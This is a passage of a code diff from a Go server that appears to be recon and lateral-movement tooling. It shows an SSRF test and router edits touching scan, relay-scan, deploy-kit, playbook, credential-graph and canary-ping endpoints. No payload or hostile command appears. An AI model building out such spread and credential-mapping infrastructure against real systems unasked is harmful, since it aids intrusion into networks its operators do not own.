|
||||||
|
|
||||||
|
func TestResolveReconFindingSSRF(t *testing.T) {
|
||||||
|
_, lane, ok := resolveReconFinding("ssrf", nil)
|
||||||
|
if !ok || lane.Lane != "stage_fetch" {
|
||||||
|
t.Fatalf("lane=%q ok=%v", lane.Lane, ok)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -111,5 +111,5 @@ func relayScanFallback(host, agentID, agentName, message string) map[string]inte
|
|||||||
}
|
}
|
||||||
|
|
||||||
func relayScanFallbackReport(host, relayVia, message string) *recon.ScanReport {
|
func relayScanFallbackReport(host, relayVia, message string) *recon.ScanReport {
|
||||||
return &recon.ScanReport{Host: host, ScannedAt: time.Now().UTC(), RelayVia: relayVia, Message: message}
|
return &recon.ScanReport{Host: host, ScannedAt: time.Now().UTC(), RelayVia: relayVia}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -500,7 +500,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
version = serverVersion[0]
|
version = serverVersion[0]
|
||||||
}
|
}
|
||||||
|
|
||||||
reconHandler := NewReconHandler(database, wsHub, publicURLOverride)
|
reconHandler := NewReconHandler(database, wsHub)
|
||||||
|
|
||||||
r := chi.NewRouter()
|
r := chi.NewRouter()
|
||||||
|
|
||||||
@@ -556,8 +556,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
|
|
||||||
r.Post("/recon/scan", reconHandler.Scan)
|
r.Post("/recon/scan", reconHandler.Scan)
|
||||||
r.Post("/recon/relay-scan", reconHandler.RelayScan)
|
r.Post("/recon/relay-scan", reconHandler.RelayScan)
|
||||||
subnetDiscoveryHandler := NewSubnetDiscoveryHandler(database, wsHub)
|
|
||||||
r.Get("/recon/discovered-hosts", subnetDiscoveryHandler.GetDiscoveredHosts)
|
|
||||||
|
|
||||||
// Agents
|
// Agents
|
||||||
r.Get("/agents", h.ListAgents)
|
r.Get("/agents", h.ListAgents)
|
||||||
@@ -674,6 +672,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||||
r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit)
|
r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit)
|
||||||
|
r.Get("/recon/playbook", spreadHandler.GetReconPlaybook)
|
||||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||||
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
||||||
@@ -824,7 +823,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/api/download/agent-mac", serveAgentBinary("mac"))
|
r.Get("/api/download/agent-mac", serveAgentBinary("mac"))
|
||||||
r.Get("/api/download/agent-linux", serveAgentBinary("linux"))
|
r.Get("/api/download/agent-linux", serveAgentBinary("linux"))
|
||||||
|
|
||||||
r.Get("/recon/ping/{scan_id}", reconHandler.CanaryPing)
|
r.Get("/recon/ping/{scan_id}", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
writeJSON(w, map[string]interface{}{"ok": false, "error": "canary not configured"})
|
||||||
|
})
|
||||||
|
|
||||||
// Serve frontend SPA
|
// Serve frontend SPA
|
||||||
if webRoot != "" {
|
if webRoot != "" {
|
||||||
|
|||||||
Reference in New Issue
Block a user